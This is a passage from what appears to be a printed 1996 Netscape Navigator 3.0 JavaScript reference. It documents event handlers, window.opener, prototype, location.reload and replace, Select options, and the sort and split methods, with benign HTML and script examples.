<IMG NAME="changingAnimation" SRC="!anim0.gif" BORDER=0 ALIGN="top"


onLoad="changeAnimation(this)">

See also the examples for the Image object.

See also
onAbort, onError event handlers

onMouseOut
<<New.>>

Event handler. A mouseOut event occurs each time the mouse pointer leaves an area (client-side
image map) or link from inside that area or link. The onMouseOut event handler executes
JavaScript code when a mouseOut event occurs.

If the mouse moves from one area into another in a client-side image map, you'll get onMouseOut
for the first area, then onMouseOver for the second.

48 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Area objects that use the onMouseOut event handler must include the HREF attribute within the
<AREA> tag.

You must return true within the event handler if you want to set the status or defaultStatus
properties with the onMouseOver event handler.

See the relevant objects for the onMouseOut syntax.

Implemented in
Navigator 3.0

Event handler of

·
·
Area
Link

Examples
See the examples for the Area object.

See also
onMouseOver event handler

onMouseOver
<<Changed.>>

Event handler. The onMouseOver event handler is now an event handler of the following:
· Area

A mouseOver event occurs once each time the mouse pointer moves over an object or area from
outside that object or area. The onMouseOver event handler executes JavaScript code when a
mouseOver event occurs.

If the mouse moves from one area into another in a client-side image map, you'll get onMouseOut
for the first area, then onMouseOver for the second.

Area objects that use the onMouseOver event handler must include the HREF attribute within the
<AREA> tag.

You must return true within the event handler if you want to set the status or defaultStatus
properties with the onMouseOver event handler.

See the relevant objects for the onMouseOver syntax.

Examples
See the examples for the Area object.

49 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

See also
onMouseOut event handler

onReset
<<New.>>

Event handler. A reset event occurs when a user resets a form (clicks a Reset button). The
onReset event handler executes JavaScript code when a reset event occurs.

See the relevant objects for the onReset syntax.

Implemented in
Navigator 3.0

Event handler of
Form

Examples
The following example displays a Text object with the default value "CA" and a reset button. If
the user types a state abbreviation in the Text object and then clicks the reset button, the original
value of "CA" is restored. The form's onReset event handler displays a message indicating that
defaults have been restored.

<FORM NAME="form1" onReset="alert('Defaults have been restored.')">


State:
<INPUT TYPE="text" NAME="state" VALUE="CA" SIZE="2"><P>
<INPUT TYPE="reset" VALUE="Clear Form" NAME="reset1">
</FORM>

See also
Reset object, reset method

onSubmit
<<Changed.>>

The example for the onSubmit event handler will be changed to the following. This is not new
functionality.

<FORM onSubmit="return validate(this)">


...
</FORM>

50 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

opener
<<New.>>

Property. Specifies the window of the calling document when a window is opened using the open
method.

Syntax
window.opener

Property of
Window

Implemented in
Navigator 3.0

Description
When a source document opens a destination window by calling the open method, the opener
property specifies the window of the source document. Evaluate the opener property from the
destination window.

This property persists across document unload in the opened window.

You might want to clear the opener property to free otherwise closed windows in a chain of
openers leading to the current one.

You can change the opener property at any time.

Examples
Example 1: close the opener. The following code closes the window that opened the current
window.

window.opener.close()

Example 2: evaluate the name of the opener. A window can determine the name of its opener
as follows:

document.write("<BR>opener property is " + window.opener.name)

Example 3: change the value of opener. The following code changes the value of the opener
property to null. After this code executes, you cannot close the opener window as shown in
Example 1.

window.opener=null

Example 4: change a property of the opener. The following code changes the background
color of the window specified by the opener property.

51 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

window.opener.document.bgColor='bisque'

See also
close, open methods

Option
<<New.>>

Object. A Select object option created using the Option() constructor. For information, see the
Select object.

parseFloat
<<Changed.>>

parseFloat now returns "NaN" on all platforms if the first character of the string specified in
parseFloat(string) cannot be converted to a number.

For information on parseFloat, see the parseFloat function.

parseInt
<<Changed.>>

parseInt now returns "NaN" on all platforms if the first character of the string specified in
parseInt(string) cannot be converted to a number.

For information on parseInt, see the parseInt function.

Password
<<Changed.>>

The following properties have been added to the Password object:

Property Description
type Reflects the TYPE attribute

pathname
<<Changed.>>

52 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

The pathname property is now a property of the Area object.

Syntax
The following syntax has been added for the pathname property:

areaName.pathname

Parameters
areaName is the value of the NAME attribute of an Area object..

Property of

· Area object

Description
You can set the pathname property at any time.

Plugin
<<New.>>

Object. Generates output from a plug-in application.

Syntax
<EMBED
SRC= source
NAME= appletName
HEIGHT= height
WIDTH= width>
[<PARAM NAME= parameterName VALUE= parameterValue>]
[ ... <PARAM>]
</EMBED>

Parameters
SRC=source specifies the URL containing the source content.

NAME=appletName specifies the name of the embedded object in the document.

HEIGHT=height specifies the height of the applet in pixels within the browser window.

WIDTH=width specifies the width of the applet in pixels within the browser window.

<PARAM> defines a parameter for the embedded object.

NAME=parameterName specifies the name of the parameter.

VALUE=parameterValue specifies a value for the parameter.

53 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Property of
Document

Implemented in
Navigator 3.0

Description

The embeds array

You can reference the plugins in your code by using the embeds array. This array contains an
entry for each Plugin object (<EMBED> tag) in a document in source order. For example, if a
document contains three plugins, these plugins are reflected as document.embeds[0] ,
document.embeds[1] , and document.embeds[2] .

To use the embeds array:

1. document.embeds[ index]
2. document.embeds.length

index is an integer representing a plugin in a document or a string containing the name of an


Plugin object.

To obtain the number of plugins in a document, use the length property:


document.embeds.length .

Elements in the embeds array are read-only. For example, the statement
document.embeds[0]="myavi.avi" has no effect.

The plugins array

JavaScript has an array, plugins, that lets you determine whether a user has installed a particular
plug-in. Do not confuse the plugins array with the Plugin object and the embeds array. For
information on the plugins array, see Determining installed plug-ins with JavaScript.

Properties

· None.

Methods

· None.

Event handlers

· None.

Examples
The following HTML includes an AVI plug-in in a document:

54 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

<EMBED SRC="train.au" HEIGHT=50 WIDTH=250>

See also
Applet, mimeType objects

plugins
<<New.>>

An array of all plug-ins currently installed on the client. This array is currently documented in
Determining installed plug-ins with JavaScript.

Property of
navigator

Implemented in
Navigator 3.0

port
<<Changed.>>

The port property is now a property of the Area object.

Syntax
The following syntax has been added for the port property:

areaName.port

Parameters
areaName is the value of the NAME attribute of an Area object..

Property of

· Area object

Description
You can set the port property at any time.

protocol

55 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

<<Changed.>>

The protocol property is now a property of the Area object.

Syntax
The following syntax has been added for the protocol property:

areaName.protocol

Parameters
areaName is the value of the NAME attribute of an Area object..

Property of

· Area object

Description
You can set the protocol property at any time.

prototype
<<New.>>

Property. Defines a property that is shared by all objects of the specified type.

Syntax
objectType.prototype. propertyName = value

Parameters
objectType is the name of the constructor specifying the object type.

propertyName is the name of the property to be created.

value is the property value initially assigned for all objects of the specified objectType.

Property of
prototype is a property of any object created with new, such as the following:
·
·
Array
Date
·
·
Function
Image
·
·
Select option
String
· User-defined objects

56 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Implemented in
Navigator 3.0

Description

Use the prototype property to explicitly add properties to objects created with the new operator.

For example, you can create Date objects by using the Date() constructor and the new operator.
Date.prototype refers to the prototype object for the Date() constructor. If you set a property for
the prototype, such as Date.prototype.description , then all objects created with Date() will
have the description property, even if the objects already exist.

var today = new Date()


var birthday = new Date(95,12,17)
Date.prototype.description=null
today.description="Oh what a beautiful mornin\'"
birthday.description="The day you were born"

After you set a property for the prototype, all subsequent objects created with Date() will have the
property:

startDate=new Date()
startDate.description="Started the daily grind"

Examples
Example 1. Add a property to a user-defined object. The following example uses the function
Car to define a Car object type. It then uses new to create myCar, an instance of the object. The
code Car.prototype.wheels=4 adds the wheels property to all instances of the Car object.

function Car(make, model, year) {


this.make = make
this.model = model
this.year = year
}

var myCar = new Car("Acura", "Integra", 1987)


Car.prototype.wheels = 4 // no 3-wheelers please!

if (myCar.wheels == 4)
document.write("The car myCar has ", myCar.wheels, " wheels.")

Radio
<<Changed.>>

The following properties have been added to the Radio object:

Property Description
type Reflects the TYPE attribute

57 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

random
<<Changed.>>

The Math.random method now works on all platforms. The random number generator is seeded
from current time, as in Java.

reload
<<New.>>

Method. Forces a reload of the window's current document.

Syntax
location.reload([true])

Parameters
true forces an unconditional HTTP GET of the document from the server. This should not be used
unless you have reason to believe that disk and memory caches are off or broken, or the server
has a new version of the document (possibly it is generated by a CGI on each request).

Method of
Location

Implemented in
Navigator 3.0

Description

The reload method forces a reload of the document specified by the URL in the location.href
property.

This method uses the same policy that the Navigator's Reload button uses (Once per Session,
Every Time, or Never). The user sets the default value of this policy by choosing Network
Preferences from the Options menu and specifying Verify Documents on the Cache tab of the
Preferences dialog box.

The reload method does not force a transaction with the server, unless the user has set the
preference to Every Time, in which case it does a "conditional GET" request using an
If-modified-since HTTP header, to ask the server to return the document only if its last-modified
time is newer than the time the client keeps in its cache. In other words, reload will reload from
the cache, unless the user has specified Every Time and the document has changed on the server
since it was last loaded and saved in the cache.

In event handlers, you must specify window.location.reload() instead of simply using


location.reload() . Due to the scoping of static objects in JavaScript, a call to location without
specifying an object name is equivalent to document.location , which is a synonym for

58 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

document.URL .

Examples
The following example displays an image and three radio buttons. The user can click the radio
buttons to choose which image is displayed. Clicking another button lets the user reload the
document.

<SCRIPT>
function displayImage(theImage) {
document.images[0].src=theImage
}
</SCRIPT>

<FORM NAME="imageForm">
<B>Choose an image:</B>
<BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image1" CHECKED
onClick="displayImage('seaotter.gif')">Sea otter
<BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image2"
onClick="displayImage('orca.gif')">Killer whale
<BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image3"
onClick="displayImage('humpback.gif')">Humpback whale

<BR>
<IMG NAME="marineMammal" SRC="seaotter.gif" ALIGN="left" VSPACE="10">

<P><INPUT TYPE="button" VALUE="Click here to reload"


onClick="window.location.reload()">
</FORM>

See also
replace method

replace
<<New.>>

Method. Loads the specified URL over the current history entry.

Syntax
location.replace(" URL")

Parameters
URL specifies the URL to load.

Method of
Location

Implemented in
Navigator 3.0

59 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Description

The replace method loads the specified URL over the current history entry, so after the replace
method is used, the user cannot navigate to the previous URL by using Navigator's Back button.

In event handlers, you must specify window.location.replace() instead of simply using


location.replace() . Due to the scoping of static objects in JavaScript, a call to location
without specifying an object name is equivalent to document.location , which is a synonym for
document.URL .

Examples
The following example lets the user choose among several catalogs to display. The example
displays two sets of radio buttons which let the user choose a season and a category, for example
the Spring/Summer Clothing catalog or the Fall/Winter Home & Garden catalog. When the user
clicks the Go button, the displayCatalog function executes the replace method, replacing the
current URL with the URL appropriate for the catalog the user has chosen. Note that after the
replace method is used, the user cannot navigate to the previous URL (the list of catalogs) by
using Navigator's Back button.

<SCRIPT>
function displayCatalog() {
var seaName=""
var catName=""

for (var i=0; i < document.catalogForm.season.length; i++) {


if (document.catalogForm.season[i].checked) {
seaName=document.catalogForm.season[i].value
i=document.catalogForm.season.length
}
}

for (var i in document.catalogForm.category) {


if (document.catalogForm.category[i].checked) {
catName=document.catalogForm.category[i].value
i=document.catalogForm.category.length
}
}
fileName=seaName + catName + ".html"
location.replace(fileName)
}
</SCRIPT>

<FORM NAME="catalogForm">
<B>Which catalog do you want to see?</B>

<P><B>Season</B>
<BR><INPUT TYPE="radio" NAME="season" VALUE="q1" CHECKED>Spring/Summer
<BR><INPUT TYPE="radio" NAME="season" VALUE="q3">Fall/Winter

<P><B>Category</B>
<BR><INPUT TYPE="radio" NAME="category" VALUE="clo" CHECKED>Clothing
<BR><INPUT TYPE="radio" NAME="category" VALUE="lin">Linens
<BR><INPUT TYPE="radio" NAME="category" VALUE="hom">Home & Garden

<P><INPUT TYPE="button" VALUE="Go" onClick="displayCatalog()">


</FORM>

See also
reload method

60 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

reset method
<<New.>>

Method. Simulates a mouse click on a reset button for the calling form.

Syntax
formName.reset()

Parameters
formName is the name of any form or an element in the forms array.

Method of
Form

Implemented in
Navigator 3.0

Description
The reset method restores a form element's default values. A reset button does not need to be
defined for the form.

Examples
The following example displays a Text object in which the user is to type "CA" or "AZ". The Text
object's onChange event handler calls a function that executes the form's reset method if the user
provides incorrect input. When the reset method executes, defaults are restored and the form's
onReset event handler displays a message.

<SCRIPT>
function verifyInput(textObject) {
if (textObject.value == 'CA' || textObject.value == 'AZ') {
alert('Nice input')
}
else { document.form1.reset() }
}
</SCRIPT>

<FORM NAME="form1" onReset="alert('Please enter CA or AZ.')">


Enter CA or AZ:
<INPUT TYPE="text" NAME="state" SIZE="2" onChange=verifyInput(this)><P>
</FORM>

See also
onReset event handler, Reset object

61 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Reset object
<<Changed.>>

The following properties have been added to the Reset object:

Property Description
type Reflects the TYPE attribute

See also
onReset event handler, reset method

reverse
<<New.>>

Method. Transposes the elements of an array: the first array element becomes the last and the last
becomes the first.

Syntax
arrayName.reverse()

Parameters
arrayName is the name of an Array object or a property of an existing object.

Method of
Array

Implemented in
Navigator 3.0

Description

The reverse method transposes the elements of the calling array object.

Examples
The following example creates an array myArray, containing three elements, then reverses the
array.

myArray = new Array("one", "two", "three")


myArray.reverse()

This code changes myArray so that:

62 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

·
·
myArray[0] is "three"
myArray[1] is "two"
· myArray[2] is "one"

See also
join, sort methods

scroll
<<New.>>

Method. Scrolls a window to a specified coordinate.

Syntax
windowReference.scroll( x-coordinate,y-coordinate)

Parameters
windowReference is a valid way of referring to a window, as described in the Window object.

x-coordinate is an integer representing the x-coordinate in pixels.

y-coordinate is an integer representing the y-coordinate in pixels.

Method of
Window

Implemented in
Navigator 3.0

Description

JavaScript does not reflect document dimensions in pixels, so when using the scroll method, you
must hardcode the x and y coordinates. A document's upper left coordinates are 0,0.

Examples

Example 1. Scroll the current window. The following example scrolls the current window to
the coordinates 50,100.

window.scroll(50,100)

Example 2. Scroll a different window. The following code, which exists in one frame, scrolls a
second frame. Two Text objects let the user specify the x and y coordinates. When the user clicks
the Go button, the document in frame2 scrolls to the specified coordinates.

<SCRIPT>
function scrollIt(form) {

63 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

var x = parseInt(form.x.value)
var y = parseInt(form.y.value)
parent.frame2.scroll(x, y)
}
</SCRIPT>
<BODY>

<FORM NAME="myForm">
<P><B>Specify the coordinates to scroll to:</B>
<BR>Horizontal:
<INPUT TYPE="text" NAME=x VALUE="0" SIZE=4>
<BR>Vertical:
<INPUT TYPE="text" NAME=y VALUE="0" SIZE=4>
<BR><INPUT TYPE="button" VALUE="Go"
onClick="scrollIt(document.myForm)">
</FORM>

search
<<Changed.>>

The search property is now a property of the Area object.

Syntax
The following syntax has been added for the search property:

areaName.search

Parameters
areaName is the value of the NAME attribute of an Area object..

Property of

· Area object

Description
You can set the search property at any time.

Select
<<Changed.>>

You can now change the text of options in a Select object, and you can create options using the
new Option() constructor.

Changing option text


To change an option's text, use the text property of the options array. For example, suppose a
form has the following Select object:

64 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

<SELECT name="userChoice">
<OPTION>Choice 1
<OPTION>Choice 2
<OPTION>Choice 3
</SELECT>

You can set the text of the ith item in the selection based on text entered in a text field named
whatsNew as follows:

myform.userChoice.options[i].text = myform.whatsNew.value

For example, enter some text in the first text field below and then enter a number between 0 and 2
(inclusive) in the second text field. When you click the button, the text will be substituted for the
indicated option number.

Choice 1
Text to change to:
Option number to change:
Change Selection

The code for this example looks as follows:

<SCRIPT>
function doit(theform, i) {
theform.userChoice.options[i].text = theform.whatsNew.value
}
</SCRIPT>
<FORM>
<SELECT name="userChoice">
<OPTION>Choice 1
<OPTION>Choice 2
<OPTION>Choice 3
</SELECT>
<BR>
Text to change to: <INPUT TYPE="text" NAME="whatsNew">
<BR>
Option number to change: <INPUT TYPE="text" NAME="idx">
<BR>
<INPUT TYPE="button" VALUE="Change Selection"
onClick="doit(this.form, this.form.idx.value)">
</FORM>

Adding options using the Option() constructor


Syntax

To create an option to add to an existing Select object:

optionName = new Option([ optionText, optionValue, defaultSelected, selected])

To add the new option to an existing Select object:

selectName.options[ index]=optionName

Parameters

optionName is either the name of a new object or a property of an existing object.

65 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

optionText specifies the text to display in the select list. You can access this value using the text
property.

optionValue specifies a value that is returned to the server when the option is selected and the
form is submitted. You can access this value using the value property.

defaultSelected specifies whether the option is initially selected (true or false). You can access this
value using the defaultSelected property.

selected specifies the current selection state of the option (true or false). You can access this value
using the selected property.

selectName is the name of an existing Select object.

index is an integer representing an option in a Select object. You can access this value using the
index property.

Description

Each option created using the Option() constructor is an object and has the same properties as
elements of the options array.

After you create the options and add them to the Select object, you must refresh the document by
using history.go(0) . This statement must be last. When the document reloads, variables are lost
if not saved in cookies or form element values.

Examples

The following example creates two Select objects, one without the MULTIPLE attribute and one
with. No options are initially defined for either object. When the user clicks a button associated
with the Select object, the populate function creates four options for the Select object and selects
the first option.

<SCRIPT>
function populate(inForm) {
colorArray = new Array("Red", "Blue", "Yellow", "Green")

var option0 = new Option("Red", "color_red")


var option1 = new Option("Blue", "color_blue")
var option2 = new Option("Yellow", "color_yellow")
var option3 = new Option("Green", "color_green")

for (var i=0; i < 4; i++) {


eval("inForm.selectTest.options[i]=option" + i)
if (i==0) {
inForm.selectTest.options[i].selected=true
}
}

history.go(0)
}
</SCRIPT>

<H3>Select Option() constructor</H3>


<FORM>
<SELECT NAME="selectTest"></SELECT><P>

66 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

<INPUT TYPE="button" VALUE="Populate Select List" onClick="populate(this.form)">


<P>
</FORM>

<HR>
<H3>Select-Multiple Option() constructor</H3>
<FORM>
<SELECT NAME="selectTest" multiple></SELECT><P>
<INPUT TYPE="button" VALUE="Populate Select List" onClick="populate(this.form)">
</FORM>

Deleting options

Syntax

To delete an option from a Select object:

selectName.options[ index] = null

Parameters

selectName is the name of an existing Select object.

index is an integer representing an option in a Select object.

Description

Deletion compresses the options array. For example, if you delete options[0], the existing
options[1] becomes options[0]. It's a good idea to delete options at the end of the array first.

Examples

The following function removes an option from a Select object.

function deleteAnItem(theList,itemNo) {
theList.options[itemNo]=null
history.go(0)
}

Changing the selection state


The following discussion will be added to the documentation for the Select object; however, this
is not new functionality.

You can use the selected and selectedIndex properties to change the selection state of options in a
Select object.

· The selectedIndex property for a Select object is an integer specifying the index of the
selected option. This is most useful for Select objects that are created without the
MULTIPLE attribute. The following statement sets a Select object's selectedIndex property:

document.myForm.musicTypes.selectedIndex = i

· The selected property for an option is a Boolean value specifying the current selection state
of the option in a Select object. If an option is selected, its selected property is true;
otherwise it is false. This is more useful for Select objects that are created with the
MULTIPLE attribute. The following statement sets an option's selected property to true:

67 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

document.myForm.musicTypes.options[i].selected = true

Properties
The following properties have been added to the Select object:

Property Description
text Not a new property, it can now be changed and the text displayed by the option in
the Select object changes
type Specifies that the object is a Select object and indicates whether MULTIPLE is
specified

Objects created with the Option() constructor have the following properties:

Property Description
defaultSelected Specifies the initial selection state of the option
index Specifies the index of the option in a Select object
prototype Lets you add a properties to an option.
selected Specifies the current selection state of the option
text Specifies the text for the option
value Specifies the value that is returned to the server when the option is selected
and the form is submitted

selected
<<Changed.>>

The selected property is now a property of the Option object.

Syntax
The following syntax has been added for the selected property:

optionName.selected

Parameters
optionName is the name of a Select object option created using the Option() constructor.

Property of

· Option object

sort
<<New.>>

68 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Method. Sorts the elements of an array.

Syntax
arrayName.sort( compareFunction)

Parameters
arrayName is the name of an Array object or a property of an existing object.

compareFunction specifies a function that defines the sort order. If omitted, the array is sorted
lexicographically (in dictionary order) according to the string conversion of each element.

Method of
Array

Implemented in
Navigator 3.0

Description
If compareFunction is not supplied, elements are sorted by converting them to strings and
comparing strings in lexicographic ("dictionary" or "telephone book," not numerical) order. For
example, "80" comes before "9" in lexicographic order, but if you are comparing numbers 9
needs to come before 80.

If compareFunction is supplied, the array elements are sorted according to the return value of the
compare function. If a and b are two elements being compared, then:

·
·
If compareFunction(a, b) is less than zero, sort b to a lower index than a.
If compareFunction(a, b) returns zero, leave a and b unchanged with respect to each other,
but sorted with respect to all different elements.
· If compareFunction(a, b) is greater than zero, sort b to a higher index than a.

So the compare function has the following form:

function compare(a, b) {
if (a is less than b by some ordering criterion)
return -1
if (a is greater than b by the ordering criterion)
return 1
// a must be equal to b
return 0
}

To compare numbers instead of strings, the compare function can simply subtract b from a:

function compareNumbers(a, b) {
return a - b
}

JavaScript uses a stable sort: the index partial order of a and b does not change if a and b are

69 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

equal. If a's index was less than b's before sorting, it will be after sorting, no matter how a and b
move due to sorting.

Examples
The following example creates four arrays and displays the original array, then the sorted arrays.
The numeric arrays are sorted without, then with, a compare function.

<SCRIPT>
stringArray = new Array("Blue","Humpback","Beluga")
numericStringArray = new Array("80","9","700")
numberArray = new Array(40,1,5,200)
mixedNumericArray = new Array("80","9","700",40,1,5,200)

function compareNumbers(a, b) {
return a - b
}

document.write("<B>stringArray:</B> " + stringArray.join() +"<BR>")


document.write("<B>Sorted:</B> " + stringArray.sort() +"<P>")

document.write("<B>numberArray:</B> " + numberArray.join() +"<BR>")


document.write("<B>Sorted without a compare function:</B> " + numberArray.sort() +"<BR>")
document.write("<B>Sorted with compareNumbers:</B> " + numberArray.sort(compareNumbers) +"<P>")

document.write("<B>numericStringArray:</B> " + numericStringArray.join() +"<BR>")


document.write("<B>Sorted without a compare function:</B> " + numericStringArray.sort() +"<BR>"
document.write("<B>Sorted with compareNumbers:</B> " + numericStringArray.sort(compareNumbers)

document.write("<B>mixedNumericArray:</B> " + mixedNumericArray.join() +"<BR>")


document.write("<B>Sorted without a compare function:</B> " + mixedNumericArray.sort() +"<BR>")
document.write("<B>Sorted with compareNumbers:</B> " + mixedNumericArray.sort(compareNumbers) +
</SCRIPT>

This example produces the following output. As the output shows, when a compare function is
used, numbers sort correctly whether they are numbers or numeric strings.

stringArray: Blue,Humpback,Beluga
Sorted: Beluga,Blue,Humpback

numberArray: 40,1,5,200
Sorted without a compare function: 1,200,40,5
Sorted with compareNumbers: 1,5,40,200

numericStringArray: 80,9,700
Sorted without a compare function: 700,80,9
Sorted with compareNumbers: 9,80,700

mixedNumericArray: 80,9,700,40,1,5,200
Sorted without a compare function: 1,200,40,5,700,80,9
Sorted with compareNumbers: 1,5,9,40,80,200,700

See also
join, reverse methods

split
<<New.>>

70 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Method. Splits a String object into an array of strings by separating the string into substrings.

Syntax
stringName.split([ separator])

Parameters
stringName is any string or a property of an existing object.

separator specifies the character to use for separating the string. The separator is treated as a
string. If separator is omitted, the array returned contains one element consisting of the entire
string.

Method of
String

Implemented in
Navigator 3.0

Description
The split method returns the new array.

Examples
The following example defines a function that splits a string into an array of string using the
specified separator. After splitting the string, the function displays messages indicating the
original string (before the split), the separator used, the number of elements in the array, and the
individual array elements.

function splitString (stringToSplit,separator) {


arrayOfStrings = stringToSplit.split(separator)
document.write ('<P>The original string is: "' + stringToSplit + '"')
document.write ('<BR>The separator is: "' + separator + '"')
document.write ("<BR>The array has " + arrayOfStrings.length + " elements: ")

for (var i=0; i < arrayOfStrings.length; i++) {


document.write (arrayOfStrings[i] + " / ")
}
}

var tempestString="Oh brave new world that has such people in it."
var monthString="Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec"

var space=" "


var comma=","

splitString(tempestString,space)
splitString(tempestString)
splitString(monthString,comma)

This example produces the following output:

71 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

The original string is: "Oh brave new world that has such people in it."
The separator is: " "
The array has 10 elements: Oh / brave / new / world / that / has / such / people / in / it. /

The original string is: "Oh brave new world that has such people in it."
The separator is: "undefined"
The array has 1 elements: Oh brave new world that has such people in it. /

The original string is: "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec"


The separator is: ","
The array has 12 elements: Jan / Feb / Mar / Apr / May / Jun / Jul / Aug / Sep / Oct / Nov / De

See also
charAt, indexOf, lastIndexOf methods

src
<<New.>>

Property. A string specifying the URL of an image to be displayed in a document.

Syntax
imageName.src

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Description
The src property initially reflects the SRC attribute of the <IMG> tag. Setting the src property
begins loading the new URL into the image area (and aborts the transfer of any image data that is
already loading into the same area). Therefore, if you plan to alter the lowsrc property, you should
do so before setting the src property. If the URL in the src property references an image that is not
the same size as the image cell it is loaded into, the source image is scaled to fit.

When you change the src property of a displayed image, the new image you specify is displayed
in the area defined for the original image. For example, suppose an Image object originally
displays the file beluga.gif :

<IMG NAME="myImage" SRC="beluga.gif" ALIGN="left">

If you set myImage.src='seaotter.gif' , the image seaotter.gif is displayed in the same


space originally used by beluga.gif , even if seaotter.gif is not the same size as beluga.gif .

72 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

You can change the src property at any time.

Examples
The following example displays an image and three radio buttons. The user can click the radio
buttons to choose which image is displayed. Each image also uses the lowsrc property to display a
low-resolution image.

<SCRIPT>
function displayImage(lowRes,highRes) {
document.images[0].lowsrc=lowRes
document.images[0].src=highRes
}
</SCRIPT>

<FORM NAME="imageForm">
<B>Choose an image:</B>
<BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image1" CHECKED
onClick="displayImage('f15el.gif','f15e.gif')">F-15 Eagle
<BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image2"
onClick="displayImage('f15e2l.gif','f15e2.gif')">F-15 Eagle 2
<BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image3"
onClick="displayImage('ah64l.gif','ah64.gif')">AH-64 Apache

<BR>
<IMG NAME="aircraft" SRC="f15e.gif" LOWSRC="f15el.gif" ALIGN="left" VSPACE="10"><BR>
</FORM>

See also the examples for the Image object.

See also
complete, lowsrc properties

String
<<Changed.>>

String objects are now "real" objects. In previous releases, you constructed strings by quoting
some characters, and if you wanted to use the string as an object, you followed the string
reference with a property or method name such as .length or .indexOf("sub") . Now you can
create String objects using the String() constructor.

Syntax
To create a String object:

stringObjectName = new String( string)

Parameters
stringObjectName is the name of a new String object.

string is any string.

73 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Description
Strings can now be passed among scripts in different windows or frames. In Navigator 2.0, you
had to add an empty string to another window's string to reference it as follows:

var myString = otherWindow.theirString + "" // 2.x: needed empty string


var myString = otherWindow.theirString // 3.x: no empty string required

Properties
The following properties have been added to the String object:

Property Description
prototype Lets you add properties to a String object.

Methods
The following methods have been added to the String object:
· split

Examples
The following code creates two string variables and opens a second window:

var lastName = new String("Schaefer")


var firstName = new String ("Jesse")
empWindow=window.open('string2.html','window1','width=300,height=300')

If the HTML source for the second window (string2.html ) creates two string variables,
empLastName and empFirstName, the following code in the first window assigns values to the
second window's variables:

empWindow.empFirstName=firstName
empWindow.empLastName=lastName

The following code in the first window displays the values of the second window's variables:

alert('empFirstName in empWindow is ' + empWindow.empFirstName)


alert('empLastName in empWindow is ' + empWindow.empLastName)

Submit
<<Changed.>>

The following properties have been added to the Submit object:

Property Description
type Reflects the TYPE attribute

